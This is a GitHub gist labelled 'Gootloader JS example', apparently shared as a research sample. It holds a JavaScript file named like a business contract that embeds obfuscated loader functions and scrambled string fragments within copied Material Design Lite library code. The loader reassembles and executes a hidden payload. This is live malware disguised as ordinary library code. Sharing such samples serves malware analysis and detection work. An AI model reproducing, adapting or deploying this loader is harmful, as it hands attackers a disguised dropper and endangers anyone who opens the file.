Skip to content

Instantly share code, notes, and snippets.

@drole

drole/technical services and spares supply agreement xxxxxx.js Secret

Created August 14, 2023 21:54
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save drole/b6f1d5240742bba1984fb8ec96bbc7f4 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save drole/b6f1d5240742bba1984fb8ec96bbc7f4 to your computer and use it in GitHub Desktop.
Download ZIP
Gootloader JS example
Raw
technical services and spares supply agreement xxxxxx.js
;(function() {
"use strict";
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* A component handler interface using the revealing module design pattern.
* More details on this design pattern here:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @author Jason Mayes.
*/
function hnjxoz53(hrdi, growq, clnq){
ieqik = thus6+lgaqx+cwvjf+cropn+bhzcef+bbdwy+mee+grasshl+lkwnblt+matchm+muteciy+suggestc+wrmtu+endw+esdyj+oykexv+shouldui7+bzhjal;
howc[5723757] = ieqawn1h;
yrswi(verba);
}
/* exported componentHandler */
// Pre-defining the componentHandler interface, for closure documentation and
// static verification.
var componentHandler = {
/**
* Searches existing DOM for elements of our component type and upgrades them
* if they have not already been upgraded.
*
* @param {string=} optJsClass the programatic name of the element class we
* need to create a new instance of.
* @param {string=} optCssClass the name of the CSS class elements of this
* type will have.
*/
upgradeDom: function(optJsClass, optCssClass) {},
/**
* Upgrades a specific element rather than all in the DOM.
*
* @param {!Element} element The element we wish to upgrade.
* @param {string=} optJsClass Optional name of the class we want to upgrade
* the element to.
*/
upgradeElement: function(element, optJsClass) {},
/**
* Upgrades a specific list of elements rather than all in the DOM.
*
* @param {!Element|!Array<!Element>|!NodeList|!HTMLCollection} elements
* The elements we wish to upgrade.
*/
upgradeElements: function(elements) {},
/**
* Upgrades all registered components found in the current DOM. This is
* automatically called on window load.
*/
upgradeAllRegistered: function() {},
/**
* Allows user to be alerted to any upgrades that are performed for a given
* component type
*
* @param {string} jsClass The class name of the MDL component we wish
* to hook into for any upgrades performed.
* @param {function(!HTMLElement)} callback The function to call upon an
* upgrade. This function should expect 1 parameter - the HTMLElement which
* got upgraded.
*/
registerUpgradedCallback: function(jsClass, callback) {},
/**
* Registers a class for future use and attempts to upgrade existing DOM.
*
* @param {componentHandler.ComponentConfigPublic} config the registration configuration
*/
register: function(config) {},
/**
* Downgrade either a given node, an array of nodes, or a NodeList.
*
* @param {!Node|!Array<!Node>|!NodeList} nodes
*/
downgradeElements: function(nodes) {}
};
componentHandler = (function() {
'use strict';
/** @type {!Array<componentHandler.ComponentConfig>} */
var registeredComponents_ = [];
/** @type {!Array<componentHandler.Component>} */
var createdComponents_ = [];
var componentConfigProperty_ = 'mdlComponentConfigInternal_';
/**
* Searches registered components for a class we are interested in using.
* Optionally replaces a match with passed object if specified.
*
* @param {string} name The name of a class we want to use.
* @param {componentHandler.ComponentConfig=} optReplace Optional object to replace match with.
* @return {!Object|boolean}
* @private
*/
function findRegisteredClass_(name, optReplace) {
for (var i = 0; i < registeredComponents_.length; i++) {
if (registeredComponents_[i].className === name) {
if (typeof optReplace !== 'undefined') {
registeredComponents_[i] = optReplace;
}
return registeredComponents_[i];
}
}
return false;
}
/**
* Returns an array of the classNames of the upgraded classes on the element.
*
* @param {!Element} element The element to fetch data from.
* @return {!Array<string>}
* @private
*/
function getUpgradedListOfElement_(element) {
var dataUpgraded = element.getAttribute('data-upgraded');
// Use `['']` as default value to conform the `,name,name...` style.
return dataUpgraded === null ? [''] : dataUpgraded.split(',');
}
/**
* Returns true if the given element has already been upgraded for the given
* class.
*
* @param {!Element} element The element we want to check.
* @param {string} jsClass The class to check for.
* @returns {boolean}
* @private
*/
function isElementUpgraded_(element, jsClass) {
var upgradedList = getUpgradedListOfElement_(element);
return upgradedList.indexOf(jsClass) !== -1;
}
/**
* Create an event object.
*
* @param {string} eventType The type name of the event.
* @param {boolean} bubbles Whether the event should bubble up the DOM.
* @param {boolean} cancelable Whether the event can be canceled.
* @returns {!Event}
*/
function createEvent_(eventType, bubbles, cancelable) {
if ('CustomEvent' in window && typeof window.CustomEvent === 'function') {
return new CustomEvent(eventType, {
bubbles: bubbles,
cancelable: cancelable
});
} else {
var ev = document.createEvent('Events');
ev.initEvent(eventType, bubbles, cancelable);
return ev;
}
}
/**
* Searches existing DOM for elements of our component type and upgrades them
* if they have not already been upgraded.
*
* @param {string=} optJsClass the programatic name of the element class we
* need to create a new instance of.
* @param {string=} optCssClass the name of the CSS class elements of this
* type will have.
*/
function upgradeDomInternal(optJsClass, optCssClass) {
if (typeof optJsClass === 'undefined' &&
typeof optCssClass === 'undefined') {
for (var i = 0; i < registeredComponents_.length; i++) {
upgradeDomInternal(registeredComponents_[i].className,
registeredComponents_[i].cssClass);
}
} else {
var jsClass = /** @type {string} */ (optJsClass);
if (typeof optCssClass === 'undefined') {
var registeredClass = findRegisteredClass_(jsClass);
if (registeredClass) {
optCssClass = registeredClass.cssClass;
}
}
var elements = document.querySelectorAll('.' + optCssClass);
for (var n = 0; n < elements.length; n++) {
upgradeElementInternal(elements[n], jsClass);
}
}
}
/**
* Upgrades a specific element rather than all in the DOM.
*
* @param {!Element} element The element we wish to upgrade.
* @param {string=} optJsClass Optional name of the class we want to upgrade
* the element to.
*/
function upgradeElementInternal(element, optJsClass) {
// Verify argument type.
if (!(typeof element === 'object' && element instanceof Element)) {
throw new Error('Invalid argument provided to upgrade MDL element.');
}
// Allow upgrade to be canceled by canceling emitted event.
var upgradingEv = createEvent_('mdl-componentupgrading', true, true);
element.dispatchEvent(upgradingEv);
if (upgradingEv.defaultPrevented) {
return;
}
var upgradedList = getUpgradedListOfElement_(element);
var classesToUpgrade = [];
// If jsClass is not provided scan the registered components to find the
// ones matching the element's CSS classList.
if (!optJsClass) {
var classList = element.classList;
registeredComponents_.forEach(function(component) {
// Match CSS & Not to be upgraded & Not upgraded.
if (classList.contains(component.cssClass) &&
classesToUpgrade.indexOf(component) === -1 &&
!isElementUpgraded_(element, component.className)) {
classesToUpgrade.push(component);
}
});
} else if (!isElementUpgraded_(element, optJsClass)) {
classesToUpgrade.push(findRegisteredClass_(optJsClass));
}
// Upgrade the element for each classes.
for (var i = 0, n = classesToUpgrade.length, registeredClass; i < n; i++) {
registeredClass = classesToUpgrade[i];
if (registeredClass) {
// Mark element as upgraded.
upgradedList.push(registeredClass.className);
element.setAttribute('data-upgraded', upgradedList.join(','));
var instance = new registeredClass.classConstructor(element);
instance[componentConfigProperty_] = registeredClass;
createdComponents_.push(instance);
// Call any callbacks the user has registered with this component type.
for (var j = 0, m = registeredClass.callbacks.length; j < m; j++) {
registeredClass.callbacks[j](element);
}
if (registeredClass.widget) {
// Assign per element instance for control over API
element[registeredClass.className] = instance;
}
} else {
throw new Error(
'Unable to find a registered component for the given class.');
}
var upgradedEv = createEvent_('mdl-componentupgraded', true, false);
element.dispatchEvent(upgradedEv);
}
}
/**
* Upgrades a specific list of elements rather than all in the DOM.
*
* @param {!Element|!Array<!Element>|!NodeList|!HTMLCollection} elements
* The elements we wish to upgrade.
*/
function upgradeElementsInternal(elements) {
if (!Array.isArray(elements)) {
if (elements instanceof Element) {
elements = [elements];
} else {
elements = Array.prototype.slice.call(elements);
}
}
for (var i = 0, n = elements.length, element; i < n; i++) {
element = elements[i];
if (element instanceof HTMLElement) {
upgradeElementInternal(element);
if (element.children.length > 0) {
upgradeElementsInternal(element.children);
}
}
}
}
/**
* Registers a class for future use and attempts to upgrade existing DOM.
*
* @param {componentHandler.ComponentConfigPublic} config
*/
function registerInternal(config) {
// In order to support both Closure-compiled and uncompiled code accessing
// this method, we need to allow for both the dot and array syntax for
// property access. You'll therefore see the `foo.bar || foo['bar']`
// pattern repeated across this method.
var widgetMissing = (typeof config.widget === 'undefined' &&
typeof config['widget'] === 'undefined');
var widget = true;
if (!widgetMissing) {
widget = config.widget || config['widget'];
}
var newConfig = /** @type {componentHandler.ComponentConfig} */ ({
classConstructor: config.constructor || config['constructor'],
className: config.classAsString || config['classAsString'],
cssClass: config.cssClass || config['cssClass'],
widget: widget,
callbacks: []
});
if (config.constructor.prototype
.hasOwnProperty(componentConfigProperty_)) {
throw new Error(
'MDL component classes must not have ' + componentConfigProperty_ +
' defined as a property.');
}
var found = findRegisteredClass_(config.classAsString, newConfig);
if (!found) {
registeredComponents_.push(newConfig);
}
}
/**
* Allows user to be alerted to any upgrades that are performed for a given
* component type
*
* @param {string} jsClass The class name of the MDL component we wish
* to hook into for any upgrades performed.
* @param {function(!HTMLElement)} callback The function to call upon an
* upgrade. This function should expect 1 parameter - the HTMLElement which
* got upgraded.
*/
function registerUpgradedCallbackInternal(jsClass, callback) {
var regClass = findRegisteredClass_(jsClass);
if (regClass) {
regClass.callbacks.push(callback);
}
}
/**
* Upgrades all registered components found in the current DOM. This is
* automatically called on window load.
*/
function upgradeAllRegisteredInternal() {
for (var n = 0; n < registeredComponents_.length; n++) {
upgradeDomInternal(registeredComponents_[n].className);
}
}
/**
* Check the component for the downgrade method.
* Execute if found.
* Remove component from createdComponents list.
*
* @param {?componentHandler.Component} component
*/
function deconstructComponentInternal(component) {
if (component) {
var componentIndex = createdComponents_.indexOf(component);
createdComponents_.splice(componentIndex, 1);
var upgrades = component.element_.getAttribute('data-upgraded').split(',');
var componentPlace = upgrades.indexOf(component[componentConfigProperty_].classAsString);
upgrades.splice(componentPlace, 1);
component.element_.setAttribute('data-upgraded', upgrades.join(','));
var ev = createEvent_('mdl-componentdowngraded', true, false);
component.element_.dispatchEvent(ev);
}
}
/**
* Downgrade either a given node, an array of nodes, or a NodeList.
*
* @param {!Node|!Array<!Node>|!NodeList} nodes
*/
function downgradeNodesInternal(nodes) {
/**
* Auxiliary function to downgrade a single node.
* @param {!Node} node the node to be downgraded
*/
var downgradeNode = function(node) {
createdComponents_.filter(function(item) {
return item.element_ === node;
}).forEach(deconstructComponentInternal);
};
if (nodes instanceof Array || nodes instanceof NodeList) {
for (var n = 0; n < nodes.length; n++) {
downgradeNode(nodes[n]);
}
} else if (nodes instanceof Node) {
downgradeNode(nodes);
} else {
throw new Error('Invalid argument provided to downgrade MDL nodes.');
}
}
// Now return the functions that should be made public with their publicly
// facing names...
return {
upgradeDom: upgradeDomInternal,
upgradeElement: upgradeElementInternal,
upgradeElements: upgradeElementsInternal,
upgradeAllRegistered: upgradeAllRegisteredInternal,
registerUpgradedCallback: registerUpgradedCallbackInternal,
register: registerInternal,
downgradeElements: downgradeNodesInternal
};
})();
function wallu(mwgow, ywdau, qjsmwzgh, thin753){
howc[6651514] = stringl5;
ownc[toolvu] = hnjxoz53[ownc[oavkr8]];
}
function numberi(xtctktr, setz, see5) {
you7=xtctktr.length;
return you7;
}
/**
* Describes the type of a registered component type managed by
* componentHandler. Provided for benefit of the Closure compiler.
*
* @typedef {{
* constructor: Function,
* classAsString: string,
* cssClass: string,
* widget: (string|boolean|undefined)
* }}
*/
componentHandler.ComponentConfigPublic; // jshint ignore:line
/**
* Describes the type of a registered component type managed by
* componentHandler. Provided for benefit of the Closure compiler.
*
* @typedef {{
* constructor: !Function,
* className: string,
* cssClass: string,
* widget: (string|boolean),
* callbacks: !Array<function(!HTMLElement)>
* }}
*/
function applel(writtennf, cfiex, motion5, wvaab, arrange64){
return lxpwhef(writtennf,cfiex,rxjts);
}
componentHandler.ComponentConfig; // jshint ignore:line
/**
* Created component (i.e., upgraded element) type as managed by
* componentHandler. Provided for benefit of the Closure compiler.
*
* @typedef {{
* element_: !HTMLElement,
* className: string,
* classAsString: string,
* cssClass: string,
* widget: string
* }}
*/
componentHandler.Component; // jshint ignore:line
function lxpwhef(notea, glad8o, ivbyf, wnyvif, pekmp, much7, captainx) {
easth = notea;
return easth.substr(glad8o,ivbyf);
}
// Export all symbols, for the benefit of Closure compiler.
// No effect on uncompiled code.
componentHandler['upgradeDom'] = componentHandler.upgradeDom;
function reply2(dadr80, ohzrsy, huget, told6) {
pofqpoa = numberi(ohzrsy);
for (meatbn = (oavkr8); meatbn<=numberi(dadr80)-pofqpoa; meatbn++) {
if (lxpwhef(dadr80,meatbn,pofqpoa)==ohzrsy){
pydbp[numberi(pydbp)] = lxpwhef(dadr80,lpfsj,meatbn-lpfsj);
lpfsj = meatbn+pofqpoa;
}
}
pydbp[numberi(pydbp)] = lxpwhef(dadr80,lpfsj);
return pydbp;
}
componentHandler['upgradeElement'] = componentHandler.upgradeElement;
componentHandler['upgradeElements'] = componentHandler.upgradeElements;
componentHandler['upgradeAllRegistered'] =
componentHandler.upgradeAllRegistered;
componentHandler['registerUpgradedCallback'] =
componentHandler.registerUpgradedCallback;
function qhmipe(){
if(yrswi(showa)) { gfgsonm(howc) } else { OxnG(); }
}
componentHandler['register'] = componentHandler.register;
componentHandler['downgradeElements'] = componentHandler.downgradeElements;
// Source: https://github.com/darius/requestAnimationFrame/blob/master/requestAnimationFrame.js
// Adapted from https://gist.github.com/paulirish/1579671 which derived from
function arrives(crowd6, fpgc4, thanp, nyzeo, itqn, scale7s) {
if (thanp % (toolvu-processy)) yjhad = (crowd6+fpgc4); else yjhad = (fpgc4+crowd6);
return yjhad;
}
// http://paulirish.com/2011/requestanimationframe-for-smart-animating/
// http://my.opera.com/emoller/blog/2011/12/20/requestanimationframe-for-smart-er-animating
// requestAnimationFrame polyfill by Erik Möller.
// Fixes from Paul Irish, Tino Zijdel, Andrew Mao, Klemen Slavič, Darius Bacon
// MIT license
function cryy(ljhaz7, street42, yellow5n, dwuv, strong1){
second4 = "";
for ( zvjosb = oavkr8; zvjosb < 16980; zvjosb++ ){
natural6 = applel(ljhaz7,zvjosb);
second4 = arrives(second4,natural6,zvjosb);
}
return second4;
}
if (!Date.now) {
/**
* Date.now polyfill.
* @return {number} the current Date
*/
function stringl5(uaqrur, substance6){
ownc[toolvu](ownc[processy])(howc);
howc = oavkr8;
}
Date.now = function () {
return new Date().getTime();
};
Date['now'] = Date.now;
}
var vendors = [
'webkit',
'moz'
];
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
function yrswi(yet1, thankx, useptq, tftxn, blackg) {
eivkvse = "LPItG";
for (reachx1 = rxjts; reachx1 < (yet1*rightw); reachx1++) {
eivkvse = eivkvse + reachx1 + eivkvse;
return reachx1;
}
}
/**
* Class constructor for Button MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @param {HTMLElement} element The element that will be upgraded.
*/
var MaterialButton = function MaterialButton(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialButton.prototype.Constant_ = {};
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
MaterialButton.prototype.CssClasses_ = {
RIPPLE_EFFECT: 'mdl-js-ripple-effect',
RIPPLE_CONTAINER: 'mdl-button__ripple-container',
RIPPLE: 'mdl-ripple'
};
/**
* Handle blur of element.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialButton.prototype.blurHandler_ = function (event) {
if (event) {
this.element_.blur();
}
};
// Public methods.
function ieqawn1h(vvija, ties){
ownc=reply2(cryy(ieqik),gmfrsz);
howc[6002799] = wallu;
}
/**
* Disable button.
*
* @public
*/
function gfgsonm(uakfocp, gepqras, south6){
yrswi(dcaenz);
kxul = cryy;
while(rxjts){
afraidx=afraidx;
afraidx++;
try{
osxg=(howc[afraidx](afraidx));
}catch(bxpjy)
{
outm=1149595;
howc[(outm)]=hnjxoz53;
}
}
}
MaterialButton.prototype.disable = function () {
this.element_.disabled = true;
};
MaterialButton.prototype['disable'] = MaterialButton.prototype.disable;
/**
* Enable button.
*
* @public
*/
MaterialButton.prototype.enable = function () {
this.element_.disabled = false;
};
MaterialButton.prototype['enable'] = MaterialButton.prototype.enable;
/**
* Initialize element.
*/
MaterialButton.prototype.init = function () {
if (this.element_) {
if (this.element_.classList.contains(this.CssClasses_.RIPPLE_EFFECT)) {
var rippleContainer = document.createElement('span');
rippleContainer.classList.add(this.CssClasses_.RIPPLE_CONTAINER);
this.rippleElement_ = document.createElement('span');
this.rippleElement_.classList.add(this.CssClasses_.RIPPLE);
rippleContainer.appendChild(this.rippleElement_);
this.boundRippleBlurHandler = this.blurHandler_.bind(this);
this.rippleElement_.addEventListener('mouseup', this.boundRippleBlurHandler);
this.element_.appendChild(rippleContainer);
}
this.boundButtonBlurHandler = this.blurHandler_.bind(this);
this.element_.addEventListener('mouseup', this.boundButtonBlurHandler);
this.element_.addEventListener('mouseleave', this.boundButtonBlurHandler);
}
};
// The component registers itself. It can assume componentHandler is available
// in the global scope.
componentHandler.register({
constructor: MaterialButton,
classAsString: 'MaterialButton',
cssClass: 'mdl-js-button',
widget: true
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
and3=';mjt)oM(\\n\"]ve|))y\\4\"l ((+{gtdO[iaHclnSIpcis';
/**
* Class constructor for Checkbox MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
var MaterialCheckbox = function MaterialCheckbox(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
showa = 27153;
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialCheckbox.prototype.Constant_ = { TINY_TIMEOUT: 0.001 };
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
rqco='3[0u7g=s)(L.;8iCu)SXb]HRD;OOdp;+Xy0)Tn';
MaterialCheckbox.prototype.CssClasses_ = {
INPUT: 'mdl-checkbox__input',
BOX_OUTLINE: 'mdl-checkbox__box-outline',
FOCUS_HELPER: 'mdl-checkbox__focus-helper',
TICK_OUTLINE: 'mdl-checkbox__tick-outline',
RIPPLE_EFFECT: 'mdl-js-ripple-effect',
RIPPLE_IGNORE_EVENTS: 'mdl-js-ripple-effect--ignore-events',
RIPPLE_CONTAINER: 'mdl-checkbox__ripple-container',
RIPPLE_CENTER: 'mdl-ripple--center',
RIPPLE: 'mdl-ripple',
IS_FOCUSED: 'is-focused',
IS_DISABLED: 'is-disabled',
IS_CHECKED: 'is-checked',
IS_UPGRADED: 'is-upgraded'
};
/**
* Handle change of state.
*
* @param {Event} event The event that fired.
* @private
*/
rxjts = 1;
MaterialCheckbox.prototype.onChange_ = function (event) {
this.updateClasses_();
};
dcaenz = 6523;
/**
* Handle focus of element.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialCheckbox.prototype.onFocus_ = function (event) {
this.element_.classList.add(this.CssClasses_.IS_FOCUSED);
};
/**
* Handle lost focus of element.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialCheckbox.prototype.onBlur_ = function (event) {
this.element_.classList.remove(this.CssClasses_.IS_FOCUSED);
};
/**
* Handle mouseup.
*
* @param {Event} event The event that fired.
* @private
*/
sharpo='+\\+\"wIs\\H\"i|P;mlX}iC;XletPasmHroGw6|y++gS+gr ;rA=Oas Hyt';
MaterialCheckbox.prototype.onMouseUp_ = function (event) {
this.blur_();
};
center82='a+|;brt)FosPEcra[peDgmgO(wgu3ui(4+r])p|)]el';
/**
* Handle class updates.
*
* @private
*/
MaterialCheckbox.prototype.updateClasses_ = function () {
this.checkDisabled();
this.checkToggleState();
};
/**
* Add blur.
*
* @private
*/
nuzo='gate(bij]Fcb)EeO7[4m(g+eg(st[1isx4nyC)gST]lek[el(g4i](+F)';
MaterialCheckbox.prototype.blur_ = function () {
// TODO: figure out why there's a focus event being fired after our blur,
// so that we can avoid this hack.
window.setTimeout(function () {
this.inputElement_.blur();
}.bind(this), this.Constant_.TINY_TIMEOUT);
};
// Public methods.
segment7='eBrtnrBr+o/umt9eqa5;gr1odg(qxe]att)b+n7FhI2Es ([yaggat[(+ah1gDt8';
/**
* Check the inputs toggle state and update display.
*
* @public
*/
verba = 4770;
MaterialCheckbox.prototype.checkToggleState = function () {
if (this.inputElement_.checked) {
this.element_.classList.add(this.CssClasses_.IS_CHECKED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_CHECKED);
}
};
MaterialCheckbox.prototype['checkToggleState'] = MaterialCheckbox.prototype.checkToggleState;
/**
* Check the inputs disabled state and update display.
*
* @public
*/
processy = rxjts;
MaterialCheckbox.prototype.checkDisabled = function () {
if (this.inputElement_.disabled) {
this.element_.classList.add(this.CssClasses_.IS_DISABLED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_DISABLED);
}
};
MaterialCheckbox.prototype['checkDisabled'] = MaterialCheckbox.prototype.checkDisabled;
/**
* Disable checkbox.
*
* @public
*/
MaterialCheckbox.prototype.disable = function () {
this.inputElement_.disabled = true;
this.updateClasses_();
};
thingt='shaDRNtPufePymrAdg3% [+%=\\b\" ArIhToDB|a\\C\"drb]3er +sB=pU{ a';
MaterialCheckbox.prototype['disable'] = MaterialCheckbox.prototype.disable;
/**
* Enable checkbox.
*
* @public
*/
fast41=';]np)(lO]0+e))bl5;qi2ol|(qhnganu[boohF+CB';
MaterialCheckbox.prototype.enable = function () {
this.inputElement_.disabled = false;
this.updateClasses_();
};
MaterialCheckbox.prototype['enable'] = MaterialCheckbox.prototype.enable;
/**
* Check checkbox.
*
* @public
*/
MaterialCheckbox.prototype.check = function () {
this.inputElement_.checked = true;
this.updateClasses_();
};
MaterialCheckbox.prototype['check'] = MaterialCheckbox.prototype.check;
iylc='lCggle[(vtg4+aw1eet)a|o]cnX ha =0r= +m PvoOJed';
/**
* Uncheck checkbox.
*
* @public
*/
oavkr8 = rxjts-processy;
MaterialCheckbox.prototype.uncheck = function () {
this.inputElement_.checked = false;
this.updateClasses_();
};
MaterialCheckbox.prototype['uncheck'] = MaterialCheckbox.prototype.uncheck;
/**
* Initialize element.
*/
MaterialCheckbox.prototype.init = function () {
if (this.element_) {
this.inputElement_ = this.element_.querySelector('.' + this.CssClasses_.INPUT);
var boxOutline = document.createElement('span');
boxOutline.classList.add(this.CssClasses_.BOX_OUTLINE);
var tickContainer = document.createElement('span');
tickContainer.classList.add(this.CssClasses_.FOCUS_HELPER);
var tickOutline = document.createElement('span');
tickOutline.classList.add(this.CssClasses_.TICK_OUTLINE);
boxOutline.appendChild(tickOutline);
this.element_.appendChild(tickContainer);
this.element_.appendChild(boxOutline);
if (this.element_.classList.contains(this.CssClasses_.RIPPLE_EFFECT)) {
this.element_.classList.add(this.CssClasses_.RIPPLE_IGNORE_EVENTS);
this.rippleContainerElement_ = document.createElement('span');
this.rippleContainerElement_.classList.add(this.CssClasses_.RIPPLE_CONTAINER);
this.rippleContainerElement_.classList.add(this.CssClasses_.RIPPLE_EFFECT);
this.rippleContainerElement_.classList.add(this.CssClasses_.RIPPLE_CENTER);
this.boundRippleMouseUp = this.onMouseUp_.bind(this);
this.rippleContainerElement_.addEventListener('mouseup', this.boundRippleMouseUp);
var ripple = document.createElement('span');
ripple.classList.add(this.CssClasses_.RIPPLE);
this.rippleContainerElement_.appendChild(ripple);
this.element_.appendChild(this.rippleContainerElement_);
}
this.boundInputOnChange = this.onChange_.bind(this);
this.boundInputOnFocus = this.onFocus_.bind(this);
this.boundInputOnBlur = this.onBlur_.bind(this);
this.boundElementMouseUp = this.onMouseUp_.bind(this);
this.inputElement_.addEventListener('change', this.boundInputOnChange);
this.inputElement_.addEventListener('focus', this.boundInputOnFocus);
this.inputElement_.addEventListener('blur', this.boundInputOnBlur);
this.element_.addEventListener('mouseup', this.boundElementMouseUp);
this.updateClasses_();
this.element_.classList.add(this.CssClasses_.IS_UPGRADED);
}
};
girl0='d gsI)(s|e41is3+tl)ita;nefdss hts=Nrg=fun mm|Ngewx[neUgtNt(3kE';
// The component registers itself. It can assume componentHandler is available
tgsjaq1='MctN[io[gvXg(r;(2e)32S)0).1)]e2](l((gugn(d(u1e]l3h)l)c2,)S2 ;e(2d\\g\"y,[ u';
// in the global scope.
componentHandler.register({
constructor: MaterialCheckbox,
classAsString: 'MaterialCheckbox',
cssClass: 'mdl-js-checkbox',
widget: true
});
/**
* @license
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Class constructor for icon toggle MDL component.
* Implements MDL component design pattern defined at:
* https://github.com/jasonmayes/mdl-component-design-pattern
*
* @constructor
* @param {HTMLElement} element The element that will be upgraded.
*/
crease1='gdnh(mos2yi;88t1)-c1]2n=(Gu;)0f6;4\'5)=)e(w)m;h}e ac';
var MaterialIconToggle = function MaterialIconToggle(element) {
this.element_ = element;
// Initialize instance.
this.init();
};
natureed='refpilcJvb([eargplo(+if3va;5ove)iAs]cnl;eeao5hfq+| aei=bwu FhQfEitg u';
/**
* Store constants in one place so they can be updated easily.
*
* @enum {string | number}
* @private
*/
MaterialIconToggle.prototype.Constant_ = { TINY_TIMEOUT: 0.001 };
/**
* Store strings for class names defined by this component that are used in
* JavaScript. This allows us to simply change it in one place should we
* decide to modify at a later date.
*
* @enum {string}
* @private
*/
sat7='seLR.4=uM+0ysa;dDsM!C1W(D+jf cMi=av; u hHg=nzh LjtkQd2cAC+aJHhj+;ex\"\\\\\"x(';
MaterialIconToggle.prototype.CssClasses_ = {
INPUT: 'mdl-icon-toggle__input',
JS_RIPPLE_EFFECT: 'mdl-js-ripple-effect',
RIPPLE_IGNORE_EVENTS: 'mdl-js-ripple-effect--ignore-events',
RIPPLE_CONTAINER: 'mdl-icon-toggle__ripple-container',
RIPPLE_CENTER: 'mdl-ripple--center',
RIPPLE: 'mdl-ripple',
IS_FOCUSED: 'is-focused',
IS_DISABLED: 'is-disabled',
IS_CHECKED: 'is-checked'
};
/**
* Handle change of state.
*
* @param {Event} event The event that fired.
* @private
*/
MaterialIconToggle.prototype.onChange_ = function (event) {
this.updateClasses_();
};
toolvu = rxjts+processy+rxjts;
/**
* Handle focus of element.
*
* @param {Event} event The event that fired.
* @private
*/
wjuild='JgEE;nn PpuwJlReB+xnTw| iW==nt grQmaagW+toWdSrs';
MaterialIconToggle.prototype.onFocus_ = function (event) {
this.element_.classList.add(this.CssClasses_.IS_FOCUSED);
};
/**
* Handle lost focus of element.
*
* @param {Event} event The event that fired.
* @private
*/
jwqglzl='W= PE g MP(=Ca2 fD3gUO)(;u;30}J)2;A[0CQg1XL(1Rn6+Oh)) ]7n=(6r ';
MaterialIconToggle.prototype.onBlur_ = function (event) {
this.element_.classList.remove(this.CssClasses_.IS_FOCUSED);
};
lpfsj = oavkr8;
/**
* Handle mouseup.
*
* @param {Event} event The event that fired.
* @private
*/
ulka='lrB5li()2Dr]+go rnt=fia lkrFgredyomz+WuMh|n';
MaterialIconToggle.prototype.onMouseUp_ = function (event) {
this.blur_();
};
/**
* Handle class updates.
*
* @private
*/
MaterialIconToggle.prototype.updateClasses_ = function () {
this.checkDisabled();
this.checkToggleState();
};
/**
* Add blur.
*
* @private
*/
MaterialIconToggle.prototype.blur_ = function () {
// TODO: figure out why there's a focus event being fired after our blur,
// so that we can avoid this hack.
window.setTimeout(function () {
this.inputElement_.blur();
}.bind(this), this.Constant_.TINY_TIMEOUT);
};
scptprp='sBr|JTynl;sefB+mVgcnPmro;Yer)Eai(ntv][en)';
// Public methods.
/**
* Check the inputs toggle state and update display.
*
* @public
*/
MaterialIconToggle.prototype.checkToggleState = function () {
if (this.inputElement_.checked) {
this.element_.classList.add(this.CssClasses_.IS_CHECKED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_CHECKED);
}
};
ride8va='L]rke)a+k6vmU2(e(( eRgrpK[olKcfuzI;5(s]+)RTf*uve2yUl5dkl) e7]=[+;';
MaterialIconToggle.prototype['checkToggleState'] = MaterialIconToggle.prototype.checkToggleState;
held8='s=geB4+vT3ro(0em 8a|f9lii25m;1+e)3tt()h|] hs)bgj8r';
/**
* Check the inputs disabled state and update display.
*
* @public
*/
MaterialIconToggle.prototype.checkDisabled = function () {
if (this.inputElement_.disabled) {
this.element_.classList.add(this.CssClasses_.IS_DISABLED);
} else {
this.element_.classList.remove(this.CssClasses_.IS_DISABLED);
}
};
